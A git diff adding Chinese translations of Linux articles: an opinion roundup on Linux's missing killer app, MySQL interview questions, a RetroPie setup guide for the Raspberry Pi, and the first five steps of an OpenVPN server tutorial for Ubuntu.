Pogson][3] 博客上的观点。“在 Debian GNU/Linux 系统上,有 40000以上 的软件包,虽然我的 PC 只安装了 3000 多的软件,但我一样都不缺。我有多个浏览器、编辑器、编译器/解释器、多个操作平台和像 KVM 这样的虚拟机,我可以根据需要在多个操作系统和不同版本的软件中尽情玩乐。” + +“在局域网内,我可以把多台机器当做一台机器来使用,” Pogson 补充道。“在局域网内我能从任何机器上访问存储在任意节点的资源。还有什么不能满足的吗?” + +"有些说法,几个专业人士告诉我,在 GNU/Linux 上的视频和图像编辑是有点弱,”他说。 “GIMP 正在比特级别的图像上改进,所以应该不算了。Lightworks(译者注:好莱坞级专业电影编辑软件) 最终会被当做 FLOSS(译者注:自由/开源软件:世界影响研究) 发布,所以视频应该不算。” + +"尽管如此,在 IT 行业中还有特少数的专业功能软件,”他指出。“很多普通用户几十年都不会使用那些极其特殊的应用程序软件,所有我认为 GNU/Linux 系统已经不需要什么了。” + +但是真正的杀手在市场上,在零售商店缺乏货架空间,Pogson 断言到。“只要解决这问题,GNU/Linux 必定蓬勃发展。” + +### 'Linux 已经输给 OS X' ### + +Chris Travers,一名工作于 [LedgerSMB][5] 的[博主][4],有不同的观点。 + +“我认为杀手级应用程序并不是关键问题,”他开始说到。“真正的问题是,虽然跟 BSD 系统一样,Linux 正在占据服务器市场,但在桌面市场 Linux 已经普遍输于 OS X 了。Linux 用户正在寻找开放的桌面系统。” + +Linux “既需要微软的增长势头,又需要 OS X 系统的精致用户界面和引人入胜的细节设计,”Travers 说到。“这些迟早会来有的。” + +### 文档问题 ### + +“Linux 并不是缺少杀手级应用程序” -- "缺少的是一如既往的打磨抛光," [Hyperlogos][6] 的博主 Martin Espinoza 认为。“根本就没有 Linux 的桌面环境能像 Windows XP 系统那样精雕细琢,更别说是 Windows 7 系统了。” + +"除了可以用臃肿复杂的 GNOME 或 [KDE][7] 的色拉一样的小部件,难道还要用拥有极其可怕的文件管理器和非常原始的面板的 Xface 或 LXDE 吗?" Espinoza 增加道。"GNOME 仅仅只是非常接近 DE。真正的 DE 是十分简洁的,还会隐藏他们的存在。" + +Windows 也仅仅是“表现的比较好,”他断言说。 + +不过,如果 Linux 要获得广泛的接受的话,“最缺的正是游戏,”Espinoza 说到。“如果您把它限定到一款应用程序的话,最需要的很可能仍是 Photoshop 。尽管大家都在谈论 GIMP 已经变得多么多么强大,但它的易用性仍然是个悲催的噩梦;虽然开源社区有些相关的文档,但 GIMP 仍是处在缺乏文档的可怜状态。” + +"GIMP “也许能做 Photoshop 能做的大部分事情,但我很可能并不知道,”Espinoza 的结论。“我想,如果我花了几个小时逛论坛就可以找出如何使用 GIMP 了。这就是大多数开源软件项目失败的地方,包括那些认为他们是真的是有了足够多的说明文档的。” + +### '易用和有技术支持' ### + +SoylentNews 的博主 hairyfeet 定义说易用和有技术支持就是 “杀手级应用”。 + +“嗯,一个新手安装好一个看起来很漂亮的 Linux 发行版系统,它工作得也很正常;但问题是它不会一直正常工作或一直都让人赏心悦目,”他解释到。“第一个更新,哎哟!WPA V2 无线网用不了了。第二个更新呢,像脉冲呕吐一样,声音没了。还有第一个‘升级’?呃,都不需要继续了!” + +“这正是 Linux 欠缺而 Windows 和 OS X 已经具有的:易用性及技术支持,”hairyfeet 结束道。“相同的时段有 15 款以上的 Linux 发行版本跟仅仅只是一款 Windows 发行版本所获得的技术支持生命周期能一样吗?不好意思的说,您们的产品不是同一重量级的 -- 您是拿高中棒球赛跟职业联赛在比较。” + +### 'Windows 8' ### + +最后但并非是不重要的,[Linux Rants][8] 的博主 Mike Stone 提供了一个让人惊讶的建议。 + +“这些年 Linux 缺乏的杀手级应用是 Windows 8,”Stone 打趣说。 + +"说真的,我认为并没有一个特定的应用程序可以被称为'杀手级应用',“他说,”Linux 需要有更多的主流应用的支持,而这将意味着 Photoshop 和微软的 Office 是必须具有的。值得庆幸的是,微软已经做了最大的努力以使 Office 可以跨平台,至于 Photoshop 的话大多数人并不需要的。" + +Linux "应该是很争议性的话题,上面我所说的 Windows 8 仅仅只是个玩笑,"他总结说。“基于 Linux 的应用程序正如火如荼,而当前的 Windows 系统明显不受欢迎。祈祷我们能很快就看到这一变化。” + +-------------------------------------------------------------------------------- + +via: http://www.linuxvoice.com/voice-of-the-masses-what-killer-app-is-linux-missing/ + +译者:[runningwater](https://github.com/runningwater) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.linuxvoice.com/voice-of-the-masses-what-killer-app-is-linux-missing/ +[2]:http://slashdot.org/ +[3]:http://mrpogson.com/ +[4]:http://ledgersmbdev.blogspot.com/ +[5]:http://www.ledgersmb.org/ +[6]:http://hyperlogos.org/ +[7]:http://www.kde.org/ +[8]:http://linuxrants.com/ +[9]:http://www.linux-girl.com \ No newline at end of file diff --git a/published/201408/20140620 11 Advance MySQL Database 'Interview Questions and Answers' for Linux Users.md b/published/201408/20140620 11 Advance MySQL Database 'Interview Questions and Answers' for Linux Users.md new file mode 100644 index 0000000000..06f6dbe8e6 --- /dev/null +++ b/published/201408/20140620 11 Advance MySQL Database 'Interview Questions and Answers' for Linux Users.md @@ -0,0 +1,200 @@ +给linux用户的11个高级MySQL数据库面试问题和答案 +================================================================================ +我们已经发表了两篇MySQL的文章,非常感谢Tecmint社区的大力支持。这是MySQL面试系列的第三篇文章,并且在面试专栏中排第16。 +- [15个基本的MySQL面试问题][1] +- [给中级人员的10个MySQL面试问题][1] + +![11个MySQL面试问题](http://www.tecmint.com/wp-content/uploads/2014/06/MySQL-Interview-Questions.jpeg) + +因为有大家的支持,我们才能做到现在,感谢你们这一路上对我们的支持.在这篇文章中,我们将主要针对MySQL的实用技巧,讲讲面试中相关的问题. + +### 1. 如何使用SELECT语句找到你正在运行的服务器的版本并打印出当前数据库的名称? ### +**答**:下面的语句的结果会显示服务器的版本和当前的数据库名称 + + mysql> SELECT VERSION(), DATABASE(); + + +-------------------------+------------+ + | VERSION() | DATABASE() | + +-------------------------+------------+ + | 5.5.34-0ubuntu0.13.10.1 | NULL | + +-------------------------+------------+ + 1 row in set (0.06 sec) + +在Database一列中显示**NULL**是因为我们当前没有选择任何数据库。因此,使用下面的语句先选择一个数据库,就能看到相应的结果。 + + mysql> use Tecmint; + + Reading table information for completion of table and column names + You can turn off this feature to get a quicker startup with -A + + Database changed + +---------- + + mysql> select VERSION(), DATABASE(); + + +-------------------------+------------+ + | VERSION() | DATABASE() | + +-------------------------+------------+ + | 5.5.34-0ubuntu0.13.10.1 | tecmint | + +-------------------------+------------+ + 1 row in set (0.00 sec) + +### 2. 使用非运算符(!)从表"Tecmint"中列出除了"SAM"以外的所有user记录 + +**答**:使用下面的语句 + + mysql> SELECT * FROM Tecmint WHERE user !=SAM; + + +---------------------+---------+---------+---------+---------+-------+ + | date | user | host | root | local | size | + +---------------------+---------+---------+---------+---------+-------+ + | 2001-05-14 14:42:21 | Anthony | venus | barb | venus | 98151 | + | 2001-05-15 08:50:57 | TIM | venus | phil | venus | 978 | + +---------------------+---------+---------+---------+---------+-------+ + +### 3. ‘AND’运算符有可能带着非运算符(!)一起用吗? + +**答**:当我们使用‘=’号时用‘AND’连接,用‘!=’时用‘OR’连接,下面是‘=’和AND运算符一起用的例子 + + mysql> SELECT * FROM mail WHERE user = SAM AND root = phil + +‘!=’和OR运算符的例子 + + mysql> SELECT * FROM mail WHERE user != SAM OR root != phil + + +---------------------+---------+---------+---------+---------+-------+ + | date | user | host | root | local | size | + +---------------------+---------+---------+---------+---------+-------+ + | 2001-05-14 14:42:21 | Anthony | venus | barb | venus | 98151 | + +---------------------+---------+---------+---------+---------+-------+ + +- = : 等于 +- != : 不等于 +- ! : 代表“非”的运算符 + +AND和OR在MySQL中被看作连接运算符 + +### 4. IFNULL()当打在MySQL中有什么作用? ### + +**答**:使用**IFNULL()**方法能使MySQL中的查询更加精确。IFNULL()方法将会测试它的第一个参数,若不为NULL则返回该参数的值,否则返回第二个参数的值 + + mysql> SELECT name, IFNULL(id,'Unknown') AS 'id' FROM taxpayer; + + +---------+---------+ + | name | id | + +---------+---------+ + | bernina | 198-48 | + | bertha | Unknown | + | ben | Unknown | + | bill | 475-83 | + +---------+---------+ + +### 5. 如果你只想知道从一个结果集的开头或者结尾开始的特定几条记录,该如何实现? + +**答**:我们需要把**LIMIT**语句接在**ORDER BY**语句后使用,以达到上述效果。 + +#### 显示一行记录 #### + + mysql> SELECT * FROM name LIMIT 1; + + +----+------+------------+-------+----------------------+------+ + | id | name | birth | color | foods | cats | + +----+------+------------+-------+----------------------+------+ + | 1 | Fred | 1970-04-13 | black | lutefisk,fadge,pizza | 0 | + +----+------+------------+-------+----------------------+------+ + +#### 显示5行记录 #### + + mysql> SELECT * FROM profile LIMIT 5; + + +----+------+------------+-------+-----------------------+------+ + | id | name | birth | color | foods | cats | + +----+------+------------+-------+-----------------------+------+ + | 1 | Fred | 1970-04-13 | black | lutefisk,fadge,pizza | 0 | + | 2 | Mort | 1969-09-30 | white | burrito,curry,eggroll | 3 | + | 3 | Brit | 1957-12-01 | red | burrito,curry,pizza | 1 | + | 4 | Carl | 1973-11-02 | red | eggroll,pizza | 4 | + | 5 | Sean | 1963-07-04 | blue | burrito,curry | 5 | + +----+------+------------+-------+-----------------------+------+ + +#### 显示按照ORDER BY排序后的第一条记录 #### + + mysql> SELECT * FROM profile ORDER BY birth LIMIT 1; + + +----+------+------------+-------+----------------+------+ + | id | name | birth | color | foods | cats | + +----+------+------------+-------+----------------+------+ + | 9 | Dick | 1952-08-20 | green | lutefisk,fadge | 0 | + +----+------+------------+-------+----------------+------+ + +### 6. Oracle 和 MySQL该如何选择,为什么? ### + +**答**:它们都有各自的优点和缺点。考虑到时间因素,我倾向于MySQL。 + +#### 选择MySQL而不选orcale的原因 #### + +- MySQL开源 +- MySQL轻便快捷 +- MySQL对命令行和图形界面的支持都很好 +- MySQL支持通过Query Browser进行管理 + +### 7. MySQL中如何得到当前日期? ### + +**答**:在MySQL中获取当前日期就是如下的SELECT语句这么简单。 + + mysql> SELECT CURRENT_DATE(); + + +----------------+ + | CURRENT_DATE() | + +----------------+ + | 2014-06-17 | + +----------------+ + +### 8. MySQL中如何将表导出为XML文件? ### + +**答**:我们可以使用'-e'(export)选项来把MySQL表或整个数据库导出到XML文件。当处理大型表的时候我们可能需要手动导出,不过对于小表的话可以直接使用想phpMyAdmin等这样的工具。 + + mysql -u USER_NAME -xml -e 'SELECT * FROM table_name' > table_name.xml + +上面的例子中USER_NAME是数据库的用户名,table_name是待导出为xml文件的表名,table_name.xml是存放数据的xml文件 + +### 9. MySQL_pconnect是什么? 它和MySQL_connect有什么区别? ### + +**答**:MySQL_pconnect()打开一个持久的数据库连接,这意味着数据库不是在每次页面加载的时候被打开一个新连接,因此我们不能使用MySQL_close()来关闭一个持久的连接 + +MySQL_pconnect和MySQL_connect最简要的区别是: + +与MySQL_pconnect不同,MySQL_connect在每次页面被加载的时候打开连接,这个连接可以使用MySQL_close()语句来关闭 + +### 10. 当你需要查看一个名为'mysql'的数据库中'user'表中的所有索引时,你会如何做? ### + +**答**:下面的命令将会显示出‘user’表中所有的索引 + + mysql> show index from user; + +-------+------------+----------+--------------+-------------+-----------+-------------+----------+--------+------+------------+---------+---------------+ + | Table | Non_unique | Key_name | Seq_in_index | Column_name | Collation | Cardinality | Sub_part | Packed | Null | Index_type | Comment | Index_comment | + +-------+------------+----------+--------------+-------------+-----------+-------------+----------+--------+------+------------+---------+---------------+ + | user | 0 | PRIMARY | 1 | Host | A | NULL | NULL | NULL | | BTREE | | | + | user | 0 | PRIMARY | 2 | User | A | 4 | NULL | NULL | | BTREE | | | + +-------+------------+----------+--------------+-------------+-----------+-------------+----------+--------+------+------------+---------+---------------+ + 2 rows in set (0.00 sec) + +### 11. 什么是CSV表? ### + +**答**:CSV是逗号分隔值(Comma-Separated Values)或也被称为字符分隔值(Character-Separated Values)的缩写。CSV表以纯文本和表格形式来存储数据。 + +每一条记录都使用特定的分隔符隔开(如逗号,分号,...),并且每条记录都有着顺序相同的列。CSV表最广泛地被用来存储用于导入和导出的电话联系人,并能够用来存储任何类型的纯文本数据。 + +以上就是这次要讲的全部内容。我还会带来其他你们应该会喜欢的有趣的文章。到那时敬请关注并访问Tecmint,不要忘了在下方的评论栏中留下你们的宝贵意见。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/mysql-advance-interview-questions/ + +译者:[GOLinux](https://github.com/GOLinux) 校对:[ReiNoir](https://github.com/reinoir) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.tecmint.com/basic-mysql-interview-questions-for-database-administrators/ +[2]:http://www.tecmint.com/10-mysql-database-interview-questions-for-beginners-and-intermediates/ diff --git a/published/201408/20140624 Super Pi Brothers.md b/published/201408/20140624 Super Pi Brothers.md new file mode 100644 index 0000000000..8fbbcb1d21 --- /dev/null +++ b/published/201408/20140624 Super Pi Brothers.md @@ -0,0 +1,74 @@ +超级树莓派兄弟 +================================================================================ +我已经不象以前那样玩那么多游戏了。虽然之前我当然花费了生命里的无数时间在任天堂,SNES,或是之后在我电脑上的第一人称射击游戏(只在Linux下,谢谢),如今,我更愿意把空余时间花在我累积起来的许多其他非游戏爱好上。 + +但是最近,我发现自己又抹掉了Wii手柄上的灰尘,这样就可以玩一玩我重新购买的NES和SNES游戏了。不过问题是,这些游戏需要用到一些特别的控制器,而且我已经有一个修改过的SNES控制器可以通过USB连接。这已经有足够的理由让我去寻找一个更合适的方案。 + +当然,我也可以简单地接上三个甚至四个手柄,然后在客厅里面堆满游戏。但是我已经习惯于把我的CD和DVD都提取成文件,然后在中心媒体服务器上挑选着听或是看。所以如果每次我想换游戏的时候,不用起身去翻游戏卡带,那就完美了。 + +当然,这意味着得使用模拟器。尽管之前我在一个改动过的Xbox上成功过,不过可惜它已经不在我手上了。然后我觉得一定有什么人已经在树莓派上实现过这种平台,结果是肯定的,在简单地搜索和一些命令之后,我在一个剩下的树莓派上搭起来一个完美的怀旧游戏中心。 + +树莓派项目的一个优点是,有大量的用户在使用相同的硬件。对我来说,这意味着我不用完整地参考别人的指引再根据自己的需求做出必要的改动,而只需要简单地完全按照别人的指导做就行了。在我这件事情上,我找到了RetroPie项目,它把你安装时需要用到的所有命令都包到了一个单一的大脚本中。在执行完后,你就完整地安装并配置好了RetroArch,它集成了所有的主流模拟器以及一个统一的配置方式,再加上一个在树莓派上开机启动的EmulationStation图形界面,通过它可以只用手柄就能方便地定位到你想玩的游戏。 + +### 安装RetroPie ### + +在安装RetroPie之前,你可能需要确认一下你的Raspbian版本(树莓派默认的Linux发行版,这也是这个项目假设你在用的)是不是最新的,包括有没有新的固件。这只需要几个通用的`apt`命令。虽然,在这一步里你可以接个键盘到树莓派上,不过我觉得用`ssh`登录到树莓派上更方便。之后直接复制和粘贴下面的命令: + + $ sudo apt-get update + $ sudo apt-get -y upgrade + +现在树莓派已经更新到最新了,再确认一下是否安装了git和dialog,然后可以通过git来下载RetroPie: + + $ sudo apt-get -y install git dialog + $ cd + $ git clone --depth=0 git://github.com/petrockblog/RetroPie-Setup.git + +执行完上边的命令后会创建一个RetroPie-Setup目录,里面有主要的安装脚本。之后你只需要进去这个目录,并运行安装脚本: + + $ cd RetroPie-Setup + $ chmod +x retropie_setup.sh + $ sudo ./retropie_setup.sh + +这个脚本会在终端里显示一个菜单(图1),在里面你可以选择二进制安装或是源码安装,配置RetroPie,或是更新RetroPie安装脚本和执行文件。之后选择二进制安装或是源码安装,任选一个。二进制安装会快一些,不过有些软件版本可能不是最新的。源码安装需要编译软件,所以用的时间会比较长,但是完成之后,所有的一切都是最新版的。我个人会选择二进制安装,因为我知道在碰到任何问题之后,随时都可以重新执行这个脚本再选择源码安装。 + +![](http://www.linuxjournal.com/files/linuxjournal.com/ufiles/imagecache/medium-350px-centered/u1002061/11576f1.png) + +*图1. RetroPie安装菜单* + +在vanilla Raspbian固件版本中,这一步会需要很长时间,因为有大量不同的包需要下载和安装。在安装完成之后,返回在RetroPie安装主界面中,在主菜单里选择SETUP,在之后的二级菜单里,你可以调整设置,例如是否开机启动EmulationStation(推荐打开)以及是否允许欢迎界面。在我这里,我两个都允许了,因为我希望这个设备是一个独立的模拟游戏机。不过你需要了解的是,即便你打开了EmulationStation开机自动启动,你仍然可以ssh登录到机器上然后执行原始的RetroPie安装配置脚本来改变这个设置。 + +### 添加ROM ### + +你也可以在RetroPie设置界面添加ROM。如果你在菜单里选择了Samba方式,就可以在网络上找一个Samba共享目录,然后从里面拷贝ROM。如果通过U盘的方式,RetroPie会在插到树莓派的U盘上创建一个目录结构,分别对应不同的模拟器。在这之后,你就可以把U盘插到其他电脑上,然后把ROM拷贝到合适的目录里,当再插回树莓派的时候,它会自动同步文件。最后(我就是这么做的),你还可以使用scp或者rsync来拷贝ROM到~/RetroPie/roms/的合适目录下。举个例子,NES游戏需要拷贝到~/RetroPie/roms/nes/目录里。 + +当你完成了配置并退出了RetroPie的设置脚本后,应该会想重启并进入EmulationStation,但是在那之前,你应该重新配置树莓派的内存空间,设为192或者128,运行命令: + + + $ sudo raspi-config + +然后选择高级设置,调整内存空间设定。之后就可以安全地重启了。 + +### EmulationStation ### + +重启完之后,你会很高兴地看到EmulationStation界面,之后它会提示你设定控制杆,游戏手柄,或键盘按键,这样就可以控制EmulationStation菜单了。不过注意一下,这并不会影响手柄在游戏里的按键定义,只是用于控制EmulationStation菜单的。在设定完手柄后,你应该可以按下向右或向左方向键来切换不同的模拟器菜单了。在我这里,我将会在游戏里用到手柄上的所有按钮,所以我特别将另一个键盘上的键映射到菜单功能,这样在我玩完一个游戏后,不用重启树莓派就可以退出来。 + +EmulationStation只会显示已经侦测到ROM的模拟器,所以,如果你还没有拷贝ROM的话,得先做这件事情,然后可能还得重启一下才会有效果。而且,默认情况下,你的手柄没有为任何游戏做配置,但是,如果你在EmulationStation里一直按向右键足够多次以后,会弹出输入设定界面,你可以在里面映射手柄按键。有一个亮点是,当你设定好按键后,它会相应地应用到其他模拟器中。 + +就是这些了。在这之后,你可以浏览你收藏的各种游戏,然后按下绑定到“确定”的那个按键开始游戏。一开始我还担心树莓派可能不够强劲来玩我的游戏,但是直到现在,我试过地所有游戏都可以完美地运行。 + +### 资源 ### + +RetroPie项目主页:[http://blog.petrockblock.com/retropie][1] + +RetroPie安装文档:[https://github.com/petrockblog/RetroPie-Setup][2] + +-------------------------------------------------------------------------------- + +via: http://www.linuxjournal.com/content/super-pi-brothers + +译者:[zpl1025](https://github.com/zpl1025) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://blog.petrockblock.com/retropie +[2]:https://github.com/petrockblog/RetroPie-Setup diff --git a/published/201408/20140701 Get OpenVPN up and running, enjoy your privacy.md b/published/201408/20140701 Get OpenVPN up and running, enjoy your privacy.md new file mode 100644 index 0000000000..684ea0ea4f --- /dev/null +++ b/published/201408/20140701 Get OpenVPN up and running, enjoy your privacy.md @@ -0,0 +1,499 @@ +十步搭建 OpenVPN,享受你的隐私生活 +================================================================================ +![](http://parabing.com/assets/uploads/2014/06/openVPN-featured.jpg) + +> 我们支持保护隐私,不为我们有自己的秘密需要保护,只是我们认为保护隐私应该成为一项基本人权。所以我们坚信无论谁在什么时候行使这项权利,都应该不受拘束的获取必须的工具和服务。OpenVPN就是这样一种服务并且有多种工具(客户端) 来让我们利用并享受这种服务。 + +通过与一个[OpenVPN][1]服务器建立连接,我们基本上在我们的设备和远端运行OpenVPN的主机之间建立了一个安全的通信通道。尽管在两个端点之间的通信可能被截获,但是信息是经过高强度加密的所以实际上它对于攻击者没什么用。OpenVPN除了扮演加密通信通道的调解人,我们也可以通过设置使服务器扮演互联网网关的角色。通过这种方式,我们可以**连接任何不安全的Wifi**,然后迅速的链接到远程的OpenVPN服务器,然后在不需要考虑偷窥的人或者无聊的管理员的情况下运行需要上网的程序。(注意:OpenVPN服务器旁还是需要信任的管理员的。) + +这篇文章将一步一步的教会你如何在[Ubuntu Server 14.04 LTS][2]上安装OpenVPN。OpenVPN所在的主机可能是云上的一台VPS,一台在我们家里某台电脑上运行的虚拟机,或者是一个老到你都快忘了的设备。 + +### 第一步 准备系统 ### + +我们需要Ubuntu Server主机的一个命令行终端,比如通过SSH从远程访问它。首先需要更新它的本地仓库数据: + + sub0@delta:~$ sudo apt-get update + +进行操作系统和已安装的包的升级,输入: + + sub0@delta:~$ sudo apt-get dist-upgrade + +如果升级了新内核,那就需要重启。当更新完成后,就该安装OpenVPN了: + + sub0@delta:~$ sudo apt-get -y install openvpn easy-rsa dnsmasq + +注意,我们用apt-get安装了三个包: + +- openvpn提供了OpenVPN的核心 +- easy-rsa包含了一些有用的密钥管理脚本 +- dnsmasq是当我们的OpenVPN所在的主机将扮演客户端的路由器时会用到的域名服务器 + +### 第二步 生成证书和私钥 ### + +这是安装OpenVPN中最重要和最关键的一步,目的是建立公钥基础设施(PKI)。包括如下内容: + +- 为OpenVPN服务器创建一个证书(公钥)和一个私钥 +- 为每个OpenVPN客户端创建证书和私钥 +- 建立一个证书颁发机构(CA)并创建证书和私钥。这个私钥用来给OpenVPN服务器和客户端的证书签名 + +从最后一个做起,我们先建立一个目录: + + sub0@delta:~$ sudo mkdir /etc/openvpn/easy-rsa + +然后把easy-rsa的文件拷过去: + + sub0@delta:~$ sudo cp -r /usr/share/easy-rsa/* /etc/openvpn/easy-rsa + +在我们创建CA的私钥之前,我们先编辑/etc/openvpn/easy-rsa/vars(我们喜欢用nano编辑器,不过这只是我们的喜好,你爱用什么用什么): + + sub0@delta:~$ sudo nano /etc/openvpn/easy-rsa/vars + +在文件的尾部,我们设置主证书和密钥的信息: + + export KEY_COUNTRY="GR" + export KEY_PROVINCE="Central Macedonia" + export KEY_CITY="Thessaloniki" + export KEY_ORG="Parabing Creations" + export KEY_EMAIL="nobody@parabing.com" + export KEY_CN="VPNsRUS" + export KEY_NAME="VPNsRUS" + export KEY_OU="Parabing" + export KEY_ALTNAMES="VPNsRUS" + +你可以根据自己的情况设置不同的值。特别注意最后KEY_ALTNAMES这一行,尽管这不是原本vars文件中有的但是我们还是把它加到文件的尾部,不然build-ca脚本会运行失败。 + +保存更改,我们得按[CTRL+O]然后按[Enter]。想退出nano,请按[CTRL+X]。现在,我们要获得root访问权限,继续生成主证书和私钥(LCTT译注:请注意命令行账户发生了改变): + + sub0@delta:~$ sudo su + root@delta:/home/sub0# cd /etc/openvpn/easy-rsa + root@delta:/etc/openvpn/easy-rsa# source vars + NOTE: If you run ./clean-all, I will be doing a rm -rf on /etc/openvpn/easy-rsa/keys + root@delta:/etc/openvpn/easy-rsa# sh clean-all + root@delta:/etc/openvpn/easy-rsa# sh build-ca + Generating a 1024 bit RSA private key + ...++++++ + ................++++++ + writing new private key to 'ca.key' + ----- + You are about to be asked to enter information that will be incorporated + into your certificate request. + What you are about to enter is what is called a Distinguished Name or a DN. + There are quite a few fields but you can leave some blank + For some fields there will be a default value, + If you enter '.', the field will be left blank. + ----- + Country Name (2 letter code) [GR]: + State or Province Name (full name) [Central Macedonia]: + Locality Name (eg, city) [Thessaloniki]: + Organization Name (eg, company) [Parabing Creations]: + Organizational Unit Name (eg, section) [Parabing]: + Common Name (eg, your name or your server's hostname) [VPNsRUS]: + Name [VPNsRUS]: + Email Address [nobody@parabing.com]: + root@delta:/etc/openvpn/easy-rsa# + +在我们的例子中,所有问题的答案都选择了默认的。在运行了build-ca脚本后,我们就获得了主证书文件(keys/ca.crt)和对应的私钥(keys/ca.key)。私钥必须不计代价的保密。 + +### 第三步 生成OpenVPN服务器的证书和私钥 ### + +在我们为OpenVPN服务器生成证书和密钥之前,我们得给他起个名。我决定把它叫"delta",然后运行build-key-server脚本来获取证书和密钥: + + root@delta:/etc/openvpn/easy-rsa# sh build-key-server delta + Generating a 1024 bit RSA private key + ....++++++ + ...++++++ + writing new private key to 'delta.key' + ----- + You are about to be asked to enter information that will be incorporated + into your certificate request. + What you are about to enter is what is called a Distinguished Name or a DN. + There are quite a few fields but you can leave some blank + For some fields there will be a default value, + If you enter '.', the field will be left blank. + ----- + Country Name (2 letter code) [GR]: + State or Province Name (full name) [Central Macedonia]: + Locality Name (eg, city) [Thessaloniki]: + Organization Name (eg, company) [Parabing Creations]: + Organizational Unit Name (eg, section) [Parabing]: + Common Name (eg, your name or your server's hostname) [delta]: + Name [VPNsRUS]:deltaVPN + Email Address [nobody@parabing.com]: + + Please enter the following 'extra' attributes + to be sent with your certificate request + A challenge password []: + An optional company name []: + Using configuration from /etc/openvpn/easy-rsa/openssl-1.0.0.cnf + Check that the request matches the signature + Signature ok + The Subject's Distinguished Name is as follows + countryName :PRINTABLE:'GR' + stateOrProvinceName :PRINTABLE:'Central Macedonia' + localityName :PRINTABLE:'Thessaloniki' + organizationName :PRINTABLE:'Parabing Creations' + organizationalUnitName:PRINTABLE:'Parabing' + commonName :PRINTABLE:'delta' + name :PRINTABLE:'deltaVPN' + emailAddress :IA5STRING:'nobody@parabing.com' + Certificate is to be certified until Apr 7 08:06:02 2024 GMT (3650 days) + Sign the certificate? [y/n]:y + + 1 out of 1 certificate requests certified, commit? [y/n]y + Write out database with 1 new entries + Data Base Updated + root@delta:/etc/openvpn/easy-rsa# + +当脚本成功运行完的时候,我们就得到了服务器的证书(keys/delta.crt)和私钥(keys/delta.key)。注意服务器证书被CA的私钥签名了。 + +### 第四步 生成Diffie-Hellman参数 ### + +幸亏有了Diffie-Hellman参数,我们才能在不安全的通信通道里安全的交换密钥。为了生成它我们需要键入: + + root@delta:/etc/openvpn/easy-rsa# sh build-dh + Generating DH parameters, 2048 bit long safe prime, generator 2 + This is going to take a long time + .......................+.....................................+.. + ...........................+..+.....................+........... + ..............................................+................. + .......................+........................................ + ................................................+............... + .......................................++*++*++* + root@delta:/etc/openvpn/easy-rsa# + +证书,私钥和包含Diffie-Hellman参数的文件已生成,它们都储存在/etc/openvpn/easy-rsa/keys,所以我们到现在为止已经有如下五个文件了: + +1. **ca.crt** – 证书颁发机构(CA)的证书 +2. **ca.key** – CA的私钥 +3. **delta.crt** – OpenVPN服务器的证书 +4. **delta.key** – OpenVPN服务器的私钥 +5. **dh2048.pem** – Diffie-Hellman参数文件 + +你自己的OpenVPN服务器命名可能和我们的不同。现在我们需要拷贝除了ca.key的文件到/etc/openvpn: + + root@delta:/etc/openvpn/easy-rsa# cd keys + root@delta:/etc/openvpn/easy-rsa/keys# cp ca.crt delta.crt delta.key dh2048.pem /etc/openvpn + root@delta:/etc/openvpn/easy-rsa/keys# cd .. + root@delta:/etc/openvpn/easy-rsa# + +### 第五步 为OpenVPN客户端生成证书和私钥 ### + +试想我们的笔记本要连接OpenVPN服务器。为了实现这个很常见的情况,我们首先需要为客户端(比如:我们的笔记本)生成证书和私钥,在/etc/openvpn/easy-rsa有一个脚本帮我们完成这项工作: + + root@delta:/etc/openvpn/easy-rsa# source vars + NOTE: If you run ./clean-all, I will be doing a rm -rf on /etc/openvpn/easy-rsa/keys + root@delta:/etc/openvpn/easy-rsa# ./build-key laptop + Generating a 1024 bit RSA private key + .......................................++++++ + ...................................................................................................++++++ + writing new private key to 'laptop.key' + ----- + You are about to be asked to enter information that will be incorporated + into your certificate request. + What you are about to enter is what is called a Distinguished Name or a DN. + There are quite a few fields but you can leave some blank + For some fields there will be a default value, + If you enter '.', the field will be left blank. + ----- + Country Name (2 letter code) [GR]: + State or Province Name (full name) [Central Macedonia]: + Locality Name (eg, city) [Thessaloniki]: + Organization Name (eg, company) [Parabing Creations]: + Organizational Unit Name (eg, section) [Parabing]: + Common Name (eg, your name or your server's hostname) [laptop]: + Name [VPNsRUS]: + Email Address [nobody@parabing.com]: + + Please enter the following 'extra' attributes + to be sent with your certificate request + A challenge password []: + An optional company name []: + Using configuration from /etc/openvpn/easy-rsa/openssl-1.0.0.cnf + Check that the request matches the signature + Signature ok + The Subject's Distinguished Name is as follows + countryName :PRINTABLE:'GR' + stateOrProvinceName :PRINTABLE:'Central Macedonia' + localityName :PRINTABLE:'Thessaloniki' + organizationName :PRINTABLE:'Parabing Creations' + organizationalUnitName:PRINTABLE:'Parabing' + commonName :PRINTABLE:'laptop' + name :PRINTABLE:'VPNsRUS' + emailAddress :IA5STRING:'nobody@parabing.com' + Certificate is to be certified until Apr 7 18:00:51 2024 GMT (3650 days) + Sign the certificate? [y/n]:y + + 1 out of 1 certificate requests certified, commit? [y/n]y + Write out database with 1 new entries + Data Base Updated + root@delta:/etc/openvpn/easy-rsa# + +我们为密钥选取的名字是"laptop",当build-key脚本运行完之后,我们就得到了在keys/laptop.crt的证书和在keys/laptop.key的私钥。有了这两个文件和CA的证书,我们得把这三个文件拷贝到用户有(比如用户sub0)权访问的地方。比如我们可以在用户的home目录中新建一个目录并把三个文件拷贝过去: + + root@delta:/etc/openvpn/easy-rsa# mkdir /home/sub0/ovpn-client + root@delta:/etc/openvpn/easy-rsa# cd keys + root@delta:/etc/openvpn/easy-rsa/keys# cp ca.crt laptop.crt laptop.key /home/sub0/ovpn-client + root@delta:/etc/openvpn/easy-rsa/keys# chown -R sub0:sub0 /home/sub0/ovpn-client + root@delta:/etc/openvpn/easy-rsa/keys# cd .. + root@delta:/etc/openvpn/easy-rsa# + +ovpn-client文件夹必须安全的拷贝到我们的笔记本电脑上。我们可以给多个客户端分发这三个文件。当然了,等我们需要一个不一样的证书-私钥对的时候只要再次运行build-key脚本即可。 + +### 第六步 -- OpenVPN服务器设置 ### + 